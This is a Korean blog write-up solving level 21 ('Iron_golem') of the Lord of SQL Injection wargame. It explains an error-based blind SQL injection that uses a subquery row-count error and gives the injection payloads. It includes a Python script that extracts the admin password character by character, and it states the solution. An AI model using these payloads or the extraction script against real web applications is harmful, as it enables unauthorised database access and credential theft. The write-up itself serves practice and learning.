본문 바로가기
WarGames/SQL Injection

Lord of SQL Injection : Iron_golem[21]

by madevth 2021. 12. 24.
반응형

[Level 21. Iron_golem] Sol → ?pw=06b5a6c16e8830475f983cc3a825ee9a

pw를 알아야 통과할 수 있기 때문에 Blind SQLi를 사용해서 비밀번호를 한 글자씩 알아내야 하는 점은 기존의 문제와 같다. 하지만 기존에는 if($result['id']) echo "<h2>Hello {$result['id']}</h2>" 코드가 포함되어 있었기 때문에 쿼리문의 참/거짓을 기준으로 자동화 코드를 돌릴 수 있었는데, 이번 소스코드에는 그 부분이 빠져있다.

대신에 다른 점은, if(mysqli_error($db)) exit(mysqli_error($db)); 부분이 포함되어 있다.

Error를 띄우게 되어있다? 그렇다면 Error based SQLi를 사용해야 함을 추론할 수 있다.

 

pw=' group by id # 은 id라는 column이 존재하기 때문에 아무런 Error가 뜨지 않는 반면, pw=' group by idd #를 넣어주면 에러가 발생한다.

따라서 에러 메시지 출력 여부를 바탕으로 Blind SQLi를 돌릴 수 있다.

 

[접근 방법]

Error Based를 사용해야 한다는 것은 쉽게 추론할 수 있지만, 쿼리문의 형태를 만드는 것이 쉽지 않다.

pw=' or id ='admin' and ()%23 형태에서 괄호에 쿼리를 넣어야 하는데, union select를 사용할 경우 column 수를 맞추어주어야 한다는 점을 이용해보자.

pw=' or id ='admin' and (select 0 union select 0)#의 경우 0만 선택하기 때문에 에러가 발생하지 않지만,

pw=' or id ='admin' and (select 0 union select 1)#의 경우 0과 1을 선택하기 때문에 select 하는 column의 수가 일치하지 않아서 에러가 발생한다.

왼쪽 : union select 0, 오른쪽 : union select 1

따라서 쿼리문이 참이면 1, 거짓이면 0 값이라는 점을 이용하여 union select (요 부분!)에 원하는 쿼리를 넣어주면 된다.

 

length(pw) = 1을 넣으면 거짓이기 때문에 0이 나와서 에러가 출력되지 않았지만, length(pw) > 1을 넣으면 참이기 때문에 에러가 출력되었다.

이제 자동화 코드를 돌려보자.

import requests

url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = {'PHPSESSID': 'Cookies'}

def find_length():
    pwlength = 1

    while True:
        param = {"pw": "' or id = 'admin' and (select 0 union select length(pw) = {}) #".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        if "Subquery returns more than 1 row" in req.text:
            return pwlength
        else:
            pwlength += 1

def find_pw():
    length = find_length()
    password = ""
    for i in range(length):
        s = 1
        e = 127
        value = 64
        while True:
            param = {"pw": "' or id = 'admin' and (select 0 union select ascii(substring(pw, {}, 1)) = {}) #".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            if "Subquery returns more than 1 row" in req.text:
                password += chr(value)
                break
            else:
                param = {"pw": "' or id = 'admin' and (select 0 union select ascii(substring(pw, {}, 1)) > {}) #".format(i+1, value)}
                req = requests.get(url, params = param, cookies = cookie)
                if "Subquery returns more than 1 row" in req.text:
                    s = value
                    value = (value + e) // 2
                else:
                    e = value
                    value = (s + value) // 2
    print("비밀번호는: ", password)

find_pw()

길다.

반응형

댓글